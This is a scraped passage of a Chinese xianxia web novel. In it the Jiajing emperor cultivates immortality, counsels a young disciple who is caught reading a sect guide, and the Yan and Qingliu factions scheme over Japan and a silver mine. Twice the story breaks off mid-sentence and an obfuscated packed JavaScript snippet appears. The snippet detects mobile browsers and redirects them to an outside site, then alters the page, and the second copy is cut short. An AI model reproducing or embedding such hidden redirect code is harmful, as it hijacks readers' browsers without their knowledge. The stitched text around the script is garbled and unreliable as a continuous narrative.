海瑞离京的时候,除了好友王用汲,没有任何一个人相 送,只有两辆马车。 天刚亮,雨雾蒙蒙的。 此时京城外,王用汲的心情也跟着天气一样,很是不好。 “刚峰兄,我等着再相见的一日!”看着远远消失在雨雾深处的马车,王用汲深深一拜。 马车驶入官道,路过青山一片。 推开车窗,遥望着远处宽广的天地,海瑞深吸了一口微凉的水汽,语气幽幽道:“君以国事为重,臣以直言为本。若无直言,则国无良策;若无良策,则民无所依……” “我一定会回来的!”想着捏了捏昨夜宫里传给他的一道密旨。 海瑞并未被打败,他心中有前所未有的信心。他更知道,皇上没有放弃他! 视线缓缓拉开,嘉靖的目光从本命大明上,海瑞那张坚毅不屈的面庞上收回。 海瑞坐镇宁波府,确实是他的安排。 严嵩被徐阶摆了一道,误判了裕王一系的部署,这是嘉靖开始也没想到的。 为了不让裕王一系做大,只能由他出面,在宁波府安插一个海瑞,如此算是双方势均力敌。 嘉靖心里清楚,不论是裕王还是景王,双方在明面上布局日本,都是为了仙朝未来创收。不过暗地里,都有着自己的暗线部署。 这条暗线部署,就是各自未来贪灵物资源的渠道。 所有人都以为自己之上还有仙人存在,未来仙朝大半的资源要上缴仙人。 自己拿完,朝廷拿,朝廷拿完二王拿,二王拿完才轮到他们,所以严嵩这些人都想多拿点。 用些许小利,吊着他们,让他们争斗不休,这就是嘉靖的本意,等到大明日后发展体量越来越大以后,这点小利也会跟着变大。 如此,他们才会有更大的动力去为仙朝发光发热。 意识退出识海,嘉靖拿出‘狻猊牛’的血肉,再次开始闭关修炼了起来。 …… 传承阁顶层。 此刻在禁制的包裹下,整个内室空间被火灵气充斥,宛若一个巨大炽热的火炉。 炽热的火属性灵气几乎凝为实质,像是一团火焰在撩动一般。 “轰!”终于,包裹厚实,近乎要凝为实质的火属性灵气开始激荡起来。 炽热的火灵气原本平静安稳,此刻像是被激怒了一般,开始疯狂席卷。 嘉靖就这么身处于灵气风波中心,任由长发翻飞,衣袍鼓动,丝毫不为所动。 体内‘帝经’第一层的功法运转越来越快,终于随着周身灵气猛的一滞,而后轰然散开,最后又全部收拢,进入嘉靖体内。 “呼,”待到一切平息下来后,嘉靖轻吐出口浊气,“练气六层,气息第三次波动……” “四个月境界波动三次,多亏了这半扇‘狻猊牛’的血肉!”看着面前还剩下三分之二的半扇血肉,心中暗暗想到。 距离上次给内阁众人敕封仙官官身,已经过去了四个月的时间。 这四个月的时间,嘉靖一直在闭关。 心中一动,嘉靖撤去了传承阁顶层的禁制和法阵,用‘清洁符箓’短暂的清洁了一下身体,换了一身衣袍后,走下了传承阁。 一进入传承阁,就见一个小胖子正坐在一楼书桌前,认真的看着书。 独孤东来,独孤家族,家主独孤坝的长子。对这个小胖子,嘉靖还是很有印象的。 只有五岁的年纪,但却一点都不显得蠢笨,反而眉宇间,全是灵动,机敏的神色。 “谁?!”嘉靖走动间并未刻意压低声响,所以小胖子很是机敏的回头。 当看到一袭白色宽松长袍,背着手站在他身后的嘉靖后,先是一愣,而后立刻合上书籍,藏在身后,略显紧张的看着嘉靖。 “先生出关了?”胖胖的脸上,挤出笑容,滚圆的眸眼“咕噜噜”转着,而后仰首露出灿烂的笑脸,“恭喜先生出关!” “弟子还要去修炼,就不叨扰先生了。”一边笑着,一边背着手,倒退着向门口移动。 “呵!”嘉靖轻笑,轻轻一抬手,一道炽热细小的灵气长鞭,像是鱼线一般,勾住小胖放在身后的书籍一扯,书籍从身后跃过小胖的头顶,形成一个优美的弧线,被嘉靖抓住。 “哎?先生!”见自己藏的书被先生收走,小胖顿时一急,来不及多想跳起身就要抱住书籍,但终究是迟了,只能干瞪眼。 看着干瞪眼,笑容僵硬的小胖子,嘉靖严肃的面容微宽,轻笑着朝着手上的书看去。 “宗派图鉴?”看了看手上的书籍,却是一本介绍修仙世界,修仙宗派的。 “嗯,”眼见书被拿走,小胖子眼珠一转,然后深吸一口气,胖胖的脸上露出小大人一般的成熟之色,“弟子今日听师兄师姐们说了不少中原,各种各样的仙门宗派,心下好奇……” 他说着,眸子里却满满的全是应对之色。 “于是便找来这‘宗派图鉴’看看,嗯,所谓取百家之长,日后遇上了也不至于闹笑话。” 看着这小胖子的模样,嘉靖顿觉有趣,闭关许久,他本就是打算出来散散心的。 毕竟修行一道,当张弛有度,欲速则不达的道理,这不光是修行界的常识,在大明也是老生 常谈的道理了。 再说,他现在的修炼速度,已经够快了,这还是建立在大明越来越好,本命也越来越好的基础上,日后本命物绑定了会更快! “是吗?”嘉靖翻开这本‘宗派图鉴’的同时,斜睨了一眼这小胖子,看着自己翻书,对方紧张的神色,嘉靖嘴角微动。 终于嘉靖打开了书被压出深深折痕的那一页。 “合欢宗?”看到小胖子刚才翻看的那一页上介绍的宗派后,嘉靖眼底浮现出一抹讶然之色,这小胖子才五岁吧?满打满算才六岁。 再看上面那精美,毫无遮拦的仙子图画,可以说是将男女身体妙处展示的详细无比。 见先生还是找到了自己刚才看的那一页,小胖悬着的心,终于是死了。 一张粉雕玉琢似的,胖胖的脸上,顿时涨红一片,整个人低着脑袋,满是局促不安。 对于任何少年来说,最尴尬的事情莫过于看‘不健康’的东西,被长辈当场发现抓住。 这一刻,胖东来感觉自己人虽然还活着,但跟死了却也没什么区别。 不对,是不如死了。 “合欢宗,独树一帜,以双修为基,重阴阳之调和,求道侣相助以增进修为……” “宗风独特,颇具魅力,凡入其门者,皆需秉持诚敬之心,方能得道果之妙谛……” 看着关于合欢宗的介绍,嘉靖颇为恶趣味的念了出来,这让小胖子越发的窘迫。 “你要加入合欢宗?”嘉靖轻笑着,合上书,背着手俯视着小胖子。 “没,没有!”小胖子立刻抬起头,对上嘉靖的目光后,又把头瞥向一旁,“我只是听师兄他们说中原有合欢宗,好奇……我是大明仙宗的弟子,才不会加入什么合欢宗!” “嗯,”嘉靖点了点头,然后道:“那看懂了吗?” 被这么一问,胖东来也是一愣。 没想到先生竟然会这么问自己,不过迎上那仿佛能看穿他心中所想的目光,顿时心下一横,决定实话实说:“嗯,大概知道些……” “其实,先生,我不是故意要看这些的。我是偷听到师兄跟师姐在小树林说话,然后就好奇看了一眼,就看到师兄跟师姐…那个……” 说到那个,小胖子有些不好意思,但意思却是不言而喻了。 听到他这么说,嘉靖顿时恍然。 大明仙宗里,还是有一些原本山寨里的炼气期修士的,这些人现在都是外门弟子。 当然,大明仙宗现在还没有内门。 按照中型宗门的标准,内门弟子怎么也要达到练气中期才行。 日后随着宗门整体力量的提升,内门弟子的门槛自然也是要提升的,筑基也不是可能。 这小胖是十二个孩子里心思最活络,机敏的,虽然五六岁的年纪,却也正是好奇的年龄,突然间看到男女之事,难免好奇。 不过看这小胖子的表现,怕是不单单是好奇,还可能有些早熟。 “嗯,还算诚实。”点了点头,嘉靖拿出‘宗派图鉴’拍了拍小胖子的脑袋,然后道:“拿去吧,多了解一些其他宗派也有好处。” “切记不可因此而沉迷其中!” 见先生就这么放过自己了,小胖东来有些惊讶的抬起头,道:“先生不惩罚我?” “为何要惩罚?”嘉靖笑着把书给了小胖子,然后走出传承阁,看向远处云雾缭绕的青山,道:“这并不是错,你也没错。” “你只是提前看到了一些本就该知道的东西。既然心有疑问就将其弄明白,如此才能心境豁达,有些东西看明白了自然也就明白了。” “总好过始终将此事挂在心上。”说着,嘉靖回头看着跟上来的胖东来,道:“既然你看过了关于合欢宗的介绍,也看到了男女之别……” “现在,我来问你,”嘉靖背着手,肃容看着胖东来,“阴阳和合的限制是什么?” 突然被提问,胖东来一怔,立马放下心头的羞赧和不好意思,低着脑袋想了想,然后认真回答道:“男十八,女十六,方可修行。” “你今年多大了?”嘉靖严肃的面容上微宽,虽然依旧严肃,但此刻已然化身严师,眼神并不凶,有的只是谆谆教诲与引导之色。 “还有一个月,满六岁。”胖东来绷着小胖脸,认真回答。 “好,”嘉靖点头,“可明白了?” “嗯,明白了,”胖东来悟性不俗,紧绷着小脸,道:“先生是要告诉弟子,现在弟子还不到了解,不对,是接触这些的时候!” “孺子可教。”嘉靖笑着招了招手,示意小家伙上前,抬手摸了摸圆滚滚的脑袋,道:“切记,大丈夫有所为,有所不为。” “重在知克制!”说着,嘉靖竖起一根手指,“今日教你的,可要牢记!” 这小子心思活络,聪明,机警,但越是聪明的孩子,若是不加以正确引导,就越容易走歪。 嘉靖可没有忘记,自己身上还肩负着引导门派“幼苗们”的启蒙之责。 在儒家治下的大角星修仙世界,越是正规的宗派,对下一代的培养就越是看重。 这些不光是修行上的。 还有心性的 启蒙与培养。 虽然人心多变,可那是后天自己的选择,在稚子时期,宗派师长教授的都是引导向善。 越是大宗派,对“幼苗”的心性就越是看重,毕竟大宗派的资源相对来说会宽泛一些。 若是本命不好,只要本命物好了,资源堆积之下一样可以成长起来。虽说好的会更好,但差的也不会太过薄待,所以心性反而尤为重要。 甚至,不说大宗派,就算是散修,若是有了后代,也会对下一代,精心培养,教育。 从小对“幼苗”进行心性引导,让他们善思考,知道理,这些都会是他们未来仙途路上的一笔宝贵财富,能应付更多变故。 毕竟修仙路上,除了残酷的竞争,还有人性的考验,诱惑,等等无形无相的东西。 有些天才,本命好,本命物好,心性不行,照样会陨落,有心性脆弱的,稍有挫折就会道心崩塌,这样的例子比比皆是。 一个不知道传承了多少年的修仙世界,关于这些道理,自然是看的非常透彻。 “弟子明白了!”胖东来说着,躬身将手上的书本递还给嘉靖,“这些东西,不是弟子现在该接触的,弟子不会再去胡思乱想!” “去修炼吧。”接过‘宗派图鉴’,嘉靖摆摆手,示意小胖子可以走了。 “是。”胖东来笑脸浮现,立刻一溜烟的跑了出去,不过跟着又停下,回头看着嘉靖,有些扭捏道:“先生,今日之事……” “自当保密。”嘉靖微微颔首。 “谢先生!”这次说完,小胖顿时跑的远远的。 经过跟小胖子独孤东来的插曲后,嘉靖悠悠的朝着宗门深处而去。 出关这么久,刘权都没有来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669351|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看来这几个月内,宗门一切正常,并未遇到什么麻烦事。 嘉靖先是来到了宗门后山,来到二长老宋薪柴处,要了一些稳固修为的培元丹。 顺便摘了一些灵瓜、灵果,从宋薪柴口中得知了这几个月里宗门的一些动态。 在他闭关这几个月里,掌门带着独孤雄和刘权,以及宗门几个练气二三层的弟子前去无情山附近的荒地,进行清理。 此外就是商道航线还没有开辟,所以柳源铸造的第一批飞梭,只能拿到四方城和野市售卖。 一共是十二艘飞梭,八艘运输型,四艘小型飞梭,宗门一次入账四十多万灵源。 这笔灵源,按照刘权的安排,是打算等商道航线完全开辟后,便开始招收弟子。 独孤家族在四方城的领地是七品,不算大但也不算小,领地内不少散修的孩子都可以入门。 散修的孩子其实想要入宗派,除了年龄上有限制外,就是若孩子带艺拜师,需要交出所修功法,不得有任何隐瞒。 而散修父母,可以花一笔保金入宗派家族,担当供奉一职,达到一定期限后可酌情入宗派担任执事,或者是一些外门长老之类的。 大明仙宗一切都刚刚开始,但也需要尽快发展壮大家族和宗派,所以尽快招收弟子。 毕竟,家族送来的弟子,就独孤东来这十二个,对于一个中型宗门来说还是太少了。 之后,嘉靖又去拜访了三长老柳源,对方修为已经突破到了练气六层,与嘉靖持平。 向柳源讨教了一些飞梭的制作之法,嘉靖对工匠手艺行并不是很感兴趣,只觉得无聊。 之后,见了十二个小家伙中的其他十一个孩子,进行一番考校,和为人处世上的启蒙后,晚上嘉靖回到了传承阁,开始新一轮的闭关。 练气六层的修为已经波动了三次,有‘狻猊牛’的血肉辅助,嘉靖有预感,再有一个月,应该就能突破练气七层,达到练气后期! 而在嘉靖闭关的时间里,四方城西面‘无情山’所在的荒地,独孤英正遭遇一场奇遇。 夜,天穹之上,硕大的明月高悬。 清冷的月光大片大片的洒落在幽深静谧的森林之中。 “嗷!” 嘹亮高亢的嘶鸣响起。 “轰!”森林深处一团巨大的火焰蘑菇升腾而起,继而一头凶的古兽身影走出。 古兽身披烈焰,状若远古巨象,体态雄伟,气势磅礴。 身高约三丈有余,肩高近两丈。体重则逾万钧。行时大地震颤,火焰随蹄翻滚,犹如移动之火山,威势惊人。 其身躯庞大,皮肤坚厚如铁,覆盖着熊熊燃烧的火焰,仿佛自炼狱中走出的神兽。 “唰!”炽热眸光迸射而出,炯炯有神,散发出炽热光芒,令人望而生畏。长牙如刃,锋利无比,能破坚石,斩钢铁。四蹄稳健有力,踏过之处留下焦土,尽显其无匹之力。 不过最惹人注目的是,在古象头上站着一道身高九尺,体态魁梧,浑身肌肉隆起的身影。整个人站在古象头顶上,像是一座小山一般。 一张略显狰狞却憨厚的脸上,此刻满是凝重之色。 这道身影不是别人,正是独孤英。而他脚下的古象,正是他的本命物,古兽“火炎古象”。 与此数百里之外的另外一片荒地草坪上,刘权胸前,一面玉质的鉴子,悬浮。 照射出璀璨的命令的光芒,将面前一头身高近两米 ,双目腥红的野猪笼罩。 “嗷!”突然而来的古象嘶鸣,让刘权的目光一凝,看向西边的森林。 “什么东西,竟然逼的掌门将本命物都亮了出来?!”刘权惊异不定。 “嗖!”就在刘权愣神之际,远处一道璀璨中,带着淡淡紫光的剑气轰然落下,直接洞穿了眼前的野猪,继而剑光化作一道倩影。 这是一个手持长剑,面容冷霜的孤傲女子。 “多……”刘权被这变故弄的一愣,刚要抬手道谢,然而人家连看都不看一眼,挥手将古兽的尸体收起后,一步踏出化作剑光遁走。 “啧!”被无视,刘权脸色很不好看,而后狠狠吐了口唾沫,“又是无情山的小娘皮!” “嘶!”猛吸了口空气中残留的幽冷香味,刘权狠狠的对着前方空气挺动了几下,“拽什么拽,这荒地清理资格,指不定怎么拿到的!” 原本刘权以为先生跟李长卿谈好后,‘无情山’周围的荒地,被划分给大明清理,已经是板上钉钉,万无一失的事情了。 没想到临了临了,收到了李长卿的消息,说是‘无情山’找了关系,经过一番商议后,周围的荒地,由两家共同清理。 这可把刘权给狠狠恶心了一把! 这群小娘皮太傲,性格太恶劣了,那种看男修士,仿佛是在看一坨屎一样的眼神,他是真受不了,但李长卿字里行间的意思他也明白。 这群‘无情山’的娘们背后,可能有书院的关系,能让书院中三脉第一家族出身的李长卿,做出让步,怕是背后的关系来自上三脉。 白马书院很大,统御大角星疆域无尽,中三脉的李家,势力同样很庞大。 可同样的,家族内部派系也众多。 这些都是大众可以朝‘风铃阁’随便花点灵源,就能买到的明面消息。 总之刘权总结后就一个,那就是李长卿并不是表面看起来那么轻松惬意。 不光要对付家族之外的,中三脉的其他两脉,还要对付上三脉的打压,甚至是来自族人的麻烦,对此刘权仅仅是了解到冰山一角。 就已经是脑仁疼了,他感觉宗门这次可能卷入了不得了的麻烦中,不过事已至此,想再多也没有意义,只能跟着李长卿一路走了。 这‘无情山’能让李长卿让步,这背后的关系怕是也不简单。 所以刘权就算心里再不爽也只能忍着。 “轰!”这是,远处巨响传出,火光冲天,刘权目光一凝,“打起来了,对手呢?” 他想冲过去,但想到荒地清理,双方分工明确,他也不好贸然过去。 毕竟谁都不是‘无情山’那群小娘皮,自由惯了,毫无束缚,想怎么来就怎么来。 况且能逼得金丹期的掌门召出本命物,可见对手怕是“荒地遗种”了! 荒地遗种,这是书院对荒地遗留古兽的一种称呼,一般是指该片地域最强的古兽。 森林中,无数参天古树折断,地面塌陷成一片废墟,滚滚烟尘中,独孤英跃入废墟中。 “呼!”身后巨大的古象长鼻吹出飓风,将烟尘吹散,露出废墟。 “咴儿!咴儿!咴儿!” 只见废墟中,一匹通体雪白,只有正常马匹大小,长着一对洁白鱼翅的白马,浑身染血的躺在石块之中,不断的打着响鼻。 修长健壮的脖颈,剧烈起伏着。 奇特的是,在它的头上还有一对紫色的肉角,不时有流光浮动。 “金丹期的‘荒地遗种’……”独孤英走近,看着眼前的怪异白马,蒲扇大的手掌挥动,一份写着“古兽图鉴”的卷轴打开。 “错不了,这是‘紫骓族’的‘紫骓兽’!”独孤英看着面前的古兽,收起卷轴后,手中出现一把锋利的匕首。 “成年期的‘紫骓兽’修为至少都在元婴期,没想到这里竟然会发现一头幼年期的,想来应该是遗留在外的……” “这‘紫骓兽’就是因为头上这一对肉角而闻名,传闻每一只‘紫骓兽’的肉角,都藏有一种特殊的血脉之力……” “关键的是,这种血脉之力,辅以药材,可以被本命吸收,演化为特殊天赋!” 独孤英自语着,缓步朝着面前已经毫无反抗之力的‘紫骓兽’靠近。 就在他手中匕首落下的瞬间,突然一道淡紫色的流光在黑夜中笔直的疾驰而来。 “铛!”独孤英反应不慢,匕首横在面前,挡住那一道剑气,而后身形爆退。 “嗤!”一柄长两米,宽三寸的长剑,插在地面上,月色下,泛着淡淡的紫色剑气。 “唰!”就在这时,长剑缓缓漂浮而起,然后剑尖对准独孤英,四面八方隐隐有剑气覆盖。 “灵器!?”面对这把剑,独孤英面色一凝,而后看向不远处,站在大树上的一道身影。 墨绿色长袍,长发月下飞舞,女子侧身对着他,身上有股说不出来的傲气。 “这匹‘紫骓兽’我要了。”清脆中带着不容置疑的女声响起。 听到这话,独孤英眉头一皱。 他自然是认出了此女是谁,‘无情山’的掌门。 之前在开辟战争的时候,他是见 第一百三十五章 大明国力上涨;严嵩看上日本的银山了! “奴婢吕芳,敬禀……主子陛下……裕王府报喜……裕王殿下想请仙家赐福……” 玉熙宫外,吕芳恭敬的祷告着。 之前,主子就吩咐过,有重要的事情就依例,每日在玉熙宫外祷告。 裕王殿下拥有了子嗣,按道理来说,这应该不算什么重要的事情,毕竟不是储君。 但如今大明内部局势就是裕王跟景王在争夺储君,明眼人都能看得出来。 这个时候,景王依旧毫无动静,反而是裕王府要先一步增添子嗣,这怕是会给未来局势造成一些影响,况且若是男婴,便是龙孙了。 如今内阁和司礼监都知道了修仙一事,都知道储君之位,在未来怕是会有很大的变故。 但是六部和以下官员,可是不知道的,甚至之前仙人降临一事,也都随着官场巨变云淡风轻,都已经在史官笔下成了一桩趣闻了。 没错,就跟当初汉光武帝刘秀与逆贼王莽一战的时候那样,成为天助的奇观。 所以,这些官员依旧受困于世俗争斗,此前双方还因为官场刚刚遭到清理而心有余忌惮,只是观望,不敢明确站队。 但现在,裕王突然有了子嗣,这可就不一样了,百官都开始变得骚动了起来。 而徐阶等人也趁此机会,开始为裕王造势。 虽然不确定未来如何,不过现在他们依旧支持的是裕王,当然严嵩也一样。 “吕芳。”就在吕芳祷告着的时候,心底突然响起嘉靖平淡的声音。 “主子?!”吕芳先是一愣,而后立刻跪在地上,“奴婢恭迎主子帝君!” 自从经历过上次,内阁和司礼监众人在灵田小院旁,敕封仙官官身之后,吕芳就知道,主子的修为定是又深厚了不少。 毕竟之前,主子可不会如此隔空对话。 “你的祷告朕已经知晓了,”嘉靖说着,“告诉裕王,不论是男是女都是我大明皇嗣。不可因男婴就偏爱,女婴就轻视。” 按照后世历史走向来看,裕王侧妃李氏这一胎,毫无疑问就是未来的朱翊钧。 但想到如今大明早已经走上另外一条不同的道路,最重要的是裕王开始修仙之后,再有子嗣,那是男是女可就说不准了。 若是说是男孩,那到时候生下来不是,岂不是有损自己的颜面? 他当然也可以直接通过帝玺,将李氏的意识,拉入本命大明之中查看。 可首先,李氏才是刚刚怀孕不久,这个时候根本看不出来什么,再则没有这个必要。 “是,”吕芳听到嘉靖这么说,顿时恭敬道:“主子仁厚,奴婢之后就去回裕王的话。” “起来回话,”看着修为依旧没有变化,还处于刚刚入练气一层阶段的吕芳,嘉靖倒也并不意外,“除了这件事外,可还有其他事发生?” 吕芳是在嘉靖四十一年正月突破练气一层,现在才是十一月,满打满算才十个月。想要突破练气二层,估计没个一年半载不可能。 “回主子,有,”吕芳顿了顿,像是在回忆这段时间以来,朝野内外发生的事情,“朝中倒是没有太大的变故。” “北边的屯兵兴农国策已经稳定,整个边疆的卫所制基本上开始恢复。” “浙直地区,改稻为桑的试点,也已经开始关联,销往西洋诸国的丝绸也按照此前定好的价格出售,这部分钱财用于募兵……” “北部稳定,南边军力大大提升。”说着,吕芳沉吟片刻后又道:“考虑到接下来,两派的部署,可能要往日本和周边部署,所以东南地区的兵力可能要暴涨……” “此外就是土地改制一条鞭法施行之后,按照主子您之前对一条鞭法的修改,取消人头税,改为按田亩征收税赋,再加上免税三年,百姓的负担大减,全国人口一年内,涨了不少。” “嗯,户部打算在年底进行人口统计……” 听到这里,嘉靖暗暗点头,倒是都按照自己计划的发展着。 一条鞭法,当初裕王提出的时候,自己就做了修改,将其中的人头税取消按田亩征收。 这说白了,其实就是后世才会出现的‘摊丁入亩’。 而这‘摊丁入亩’也是从一条鞭法脱胎而来,只是按照后世原本历史,大明施行一条鞭法才是最合适的,主要原因之一就是财政。 而施行‘摊丁入亩’最大的消耗就是财政,不过现在大明财政方面有那五千六百多万,抛开免税三年,依旧还有数千万足以支撑。 所以嘉靖当初直接将后世脱胎于一条鞭法的‘摊丁入亩’给简单修改了一下。如此做的目的之一,就是大大加快了人口的增长。 吕芳还在继续汇报着。 “人口增长,粮食方面的问题,到嘉靖四十二年,就可以投入使用,主子闭关前赐下的经过灵气滋养的新粮种了。”说到新粮种,吕芳脸上露出灿烂的笑容,到: “主子闭关前,赐下的新粮种,经过文孚一年时间,在各地实验田汇报上来的亩产量,也出来了,前不久快马加鞭送到了内阁。” 听到自己闭关前赐下的,来自修仙世界,凡人种植的新粮种亩产出来了,嘉靖也来了兴趣。 不需 要他开口问,吕芳跟着就满脸兴奋的汇报了起来。 “按照文孚锦衣卫汇报的统计,三大新粮,其中‘金粒儿’亩产约十二石;‘甘薯’亩产约七十石;‘黄芋’亩产约五十石。” (注:金粒儿、甘薯、黄芋,为本书虚构,不必与地球相似作物进行联想。) “主子,从此以后我大明百姓,将再无粮食危机,按照当初计划,三年内盛世来临!” 听到吕芳的话,嘉靖也不由轻道了一声好,脸上也止不住的露出笑容来。 身为皇帝,谁不希望自己的国家,盛世来临呢?嗯,到时候就是‘嘉靖盛世’! “呵,”想到海瑞之前说的家家皆净,嘉靖心中很是有成就感,嘴角微微上扬。 “主子,是否要控制一下清流和严党两派,在东南地区扩大兵力?”这时,吕芳的声音再次响起,“虽说朝廷如今有钱,可为了确保三年时间内,一切稳定不出乱子,奴婢担心……” “你是担心兵力过剩,随着人口增长,对财政造成负担?”嘉靖问道。 “主子盛明!”吕芳担心的就是这个。 “这就涉及到土地改制的第二阶段了,”嘉靖说着,“朕这两个儿子现在要布局日本,甚至是大明周边诸国,兵力过剩不必担心。” “主子高瞻远瞩,是奴婢短视了。”吕芳恭敬道。 “主子,还有一事,”吕芳说着,“一个月前,东南沿海似乎有倭寇闹事。” 听到倭寇,嘉靖神色间毫无意外之色。 要是没有倭寇,那才是出了问题了,现在的倭寇,基本上都掌握在严党跟清流手里。 有需要了,就会出来在海上活动,没需要了就会消失的一干二净。 完全就是两派的黑手套。 突然有倭寇闹事,再想到两派在布局日本,那一切自然也就说的通了。 嘉靖没有说话,吕芳继续汇报着。 “自从日本织田信长和武田信玄分别派使者前来大明,分别被协理内阁的裕王跟景王殿下接见后,大明便开始正式支持尾张国和甲斐国。” “嘉靖四十一年十月上旬,一批从杭州湾出发的船队,载着一批火铳,遭到了倭寇洗劫。” “根据传回来的消息说,洗劫者是盘踞在日本岛,”吕芳说着,眉头皱了皱,似乎是在回忆什么,“按照日本那边的说法是东海道…对,东海道东南方‘龙鳞岛’上的一伙海盗。” (注:五畿七道,指古代日本的行政区域划分。本书目前出场的势力,甲斐国、尾张国等都是东海道内势力,后续会写到其他地域,比如大家熟知的‘石见银山’所在。) “这‘龙鳞岛’海盗领主名叫藤原海太郎。” “之后,十月下旬,从台州港口出发的一批火器,同样被另外一伙盘踞在‘东海道’以南,翔云岛的海盗洗劫,领主名叫北条风翔。” “根据严府和裕王殿下府上的锦衣卫汇报,这藤原太郎,和北条风翔,实则就是当年,汪直船团中的得力手下,毛海峰和徐元亮。” “之前东南清理官场,沿海倭寇被清缴,这二人也远遁海上不知所踪。” “如今看来,是被两派收服了。” “从收集到的秘奏来看,毛海峰如今被松江府的徐阶家族招揽,化名成了‘藤原太郎’” “徐元亮,应该是被严党收服,确切的说,此人原本就听命于严党。” “如今化名为‘北条风翔’。” “严嵩和徐阶,都是聪明人,”嘉靖稍一听,便大致知道了两派的心思,“尾张国和甲斐国,都在东海道,他们是不会真的让这织田信长和武田信玄真的强大起来的。” “可要警告一番?”听到嘉靖的话后,吕芳试探道。 火器很关键,吕芳还是有些在意的。 不过,也就是是在意而已了,以主子现在掌握的手段,镇压区区凡人,毫不费吹灰之力。 “不必,”嘉靖自然明白吕范的担忧,担心严党和清流在海上走私火器坐大,“严嵩跟徐阶,很清楚他们在干什么。” “且看他们能把那弹丸之地闹成什么样。” “朕出关还需要些时日,不过最晚应该会在嘉靖四十三年左右出关,朝野内外你盯紧了。”嘉靖必然是要等筑基之后回大明的。 那个时候,就是大明向世界展露獠牙,同时准备正式步入仙朝的阶段。 “是,奴婢定当为主子看顾好大明。”吕芳恭敬道。 说完,见嘉靖许久不说话后,吕芳知道主子应该已经离开了,道了一声恭送主子后,便起身朝着玉熙宫外而去。 “老祖宗。”玉熙宫阙外,看到吕芳出来,立刻有两个东厂心腹小太监迎了上来。 “你,”吕芳随手指了一个小太监,“去趟裕王府,告诉裕王爷,主子说……” 然后,吕芳就把嘉靖刚才说的,关于皇嗣的事情说了一遍,让小太监给裕王传个信。 “是。”小太监领了命令,立刻出宫。 …… 裕王府,大殿之中。 徐阶、高拱、张居正、赵贞吉和王用汲等人分主次坐着。 大殿中间,依旧摆放着一张 大长桌。上面摆放着一副地图和一些笔墨纸砚,文书。 “初九,我将皇嗣之事上报了宫里,”裕王拿起灵茶轻抿了一口,“如今已是二十了,十一天了,父皇依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“所以,必须暗中再扶持一个傀儡……”说着,徐阶指着地图上的今川家族,道:“就让毛海峰他们,支持今川氏真。” “由今川氏真和武田信玄联盟,抗衡严党或者是向东边,瓜分整个日本。” “至于西边,就交给严党,”徐阶轻呼出一口气,道:“我们的目标,最终还是为了瓜分日本,所以前期最大的可能就是防备严党的同时,铲除其余势力,让日本内部消耗……” “就怕严党不会配合……”高拱对严党是充满了嫌弃和成见的。 “严嵩是老狐狸,他知道怎么将利益最大化。”徐阶说着,“我们的部署都在东边,他要是够聪明,就不会做费力不讨好的事情。” “我们的这些动作,皇上肯定是知晓的,若是在海外做一些无谓的争斗,耗费大明的财力武力,皇上是绝对不允许的。” “不错,”张居正也点了点头,“争斗可以,但若是无意义,毫无收获的争斗,到时候被清算,谁也别想吃好果子!” 清流一方在安排日本的同时,严党一方也在默默安排着。 严府,书房里。 “爹,我们不久前的动作,怕是会被清流给注意到了,”严世蕃看着书房里,看着日本地图的严嵩说,“接下来怎么做?” “你怎么看?”严嵩头也没有抬的问道。 “我们的目的,肯定不是要搞死清流,”严世蕃看着地图,低头思索着,“若是让皇上知道,我们在日本主要用于内斗定会降罪。” 听着儿子这一番分析,严嵩抬了抬眼,赞许道:“不错,继续。” 严世蕃现在能以利益为先,不再是遭遇到清流,就像是被踩了尾巴的猫一样炸毛,这让严嵩很是欣慰,这小子总算是稳重了些。 “翔云岛是我们的人,徐元亮控制,在龙鳞岛的西边,我们流窜到日本的那些倭寇,重点部署都在西边。”严世蕃说着,深吸一口气,上前一步抬手在织田和武田中间划了一道。 “西边归我们,东边就让给他们!” “哼哼,”严嵩俯身看着地图的同时,不由的笑出了声,“不错,但你还忽略了一点。” “嗯?”严世蕃一愣,看向老爹,“怎么说?” “当初,汪直的船团部下,除了毛海峰、徐元亮之外,还有一支强大的船团。” “徐惟学,”说着,严嵩指了指地图上最西边,“他当初去往了山阳道所在的安艺国。而安艺国现在的主人是,毛利家族!” “我要说的重点是,在与安艺国比邻的出云国有一座银山,出云国属于尼子家族……”严嵩正说着,突然被严世蕃的一声惊呼打断。 “银山?!” “不错!”严嵩点了点头,“不过现在,按照徐惟学传回来的消息,自从嘉靖三十九年,尼子晴久死了以后,面对毛利元就出云国撑不了多久了,估计三四年,前提是大明不干预……” “所以,这座银山基本上已经是毛利家族的了……” “爹,这银山可是我严家的!”严嵩话还没说完就被严世蕃打断。 严嵩:“……” “我打算,找尼子家族扶植,或者是找个其他家族控制起来,将银山掌握在我手里。”严嵩没有理会双眼闪烁着贪婪的儿子。 “你觉得扶持尼子家,还是另找一个小家族好?” “……” 还有更新,吃个饭回来更新~ 第一百三十六章 不安。 “不如就扶持尼子家族的人,”严世蕃说着,“毕竟名正言顺,好办事。” “此事便交给你来办……”严嵩点了点头,吩咐道。 对于他来说,扶持谁都可以,反正这日本的这座银山,他吃定了。 “放心吧爹,这银山肯定是我们家的。”严世蕃盯着面前的地图,眼神都在放光。 小小弹丸之地,也敢坐拥银山? 简直是罪犯天条! 视线缓缓拉开收回,大致了解了一番严党和清流双方的谋划之后,嘉靖退出了意识空间。 修为突破练气七层,再继续修炼下去,也不会有太大的成效,挥手撤去内室的禁制和阵法后,起身出了内室,来到会客厅。 “飒飒飒。”窗外天穹阴沉一片,大雨形成道道雨幕,连成一片,将远处群山遮笼。 